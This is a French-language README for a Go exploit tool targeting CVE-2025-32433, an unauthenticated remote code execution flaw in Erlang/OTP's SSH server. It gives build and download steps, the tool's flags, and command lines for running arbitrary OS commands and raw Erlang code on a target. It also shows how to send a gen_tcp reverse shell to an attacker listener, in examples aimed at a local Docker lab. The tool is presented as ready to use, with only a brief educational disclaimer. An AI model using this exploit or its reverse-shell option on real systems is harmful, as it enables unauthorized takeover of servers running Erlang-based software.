
Go PoC pour CVE-2025-32433 — RCE non authentifié dans Erlang/OTP SSH.
CVE-2025-32433 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans le serveur SSH d'Erlang/OTP. Avant les versions corrigées, le démon SSH traite incorrectement les messages de canal avant la fin de l'authentification, ce qui permet à un attaquant d'ouvrir un canal et d'envoyer des requêtes exec sans jamais fournir d'identifiants. Toute application intégrant le serveur SSH d'Erlang/OTP (notamment Elixir, RabbitMQ, CouchDB et d'autres) est concernée lorsque le port SSH est exposé.
Ce PoC Go se connecte au port SSH d'une cible, envoie un SSH_MSG_CHANNEL_OPEN forgé suivi d'une charge utile exec SSH_MSG_CHANNEL_REQUEST — entièrement avant l'authentification — amenant le nœud Erlang distant à exécuter des commandes OS arbitraires. L'exécution est aveugle : aucune sortie de commande n'est renvoyée à l'attaquant.
Versions concernées : Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c, encapsulées automatiquement dans os:cmd d'Erlanggen_tcp sans dépendre de bash ni de /dev/tcpDes binaires précompilés pour macOS, Linux et Windows sont disponibles sur la page Releases. Téléchargez le binaire pour votre plateforme et exécutez-le directement — aucune installation de Go requise.
Ou compilez depuis les sources :
[!NOTE] Nécessite Go 1.21+. Aucune dépendance externe — utilise uniquement la bibliothèque standard Go.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

Le flag -shell envoie une charge utile de reverse shell gen_tcp native Erlang — aucun besoin de bash ni de /dev/tcp. Lancez d'abord un listener, puis envoyez l'exploit.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

Le flag -code envoie une expression Erlang brute directement — sans wrapper bash -c. Utile pour des opérations purement Erlang ou lorsque bash n'est pas disponible sur la cible. L'exécution étant aveugle, écrivez la sortie dans un fichier et récupérez-la séparément.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Plus de détails dans docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Cet outil est fourni à des fins éducatives et de recherche uniquement. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par l'outil.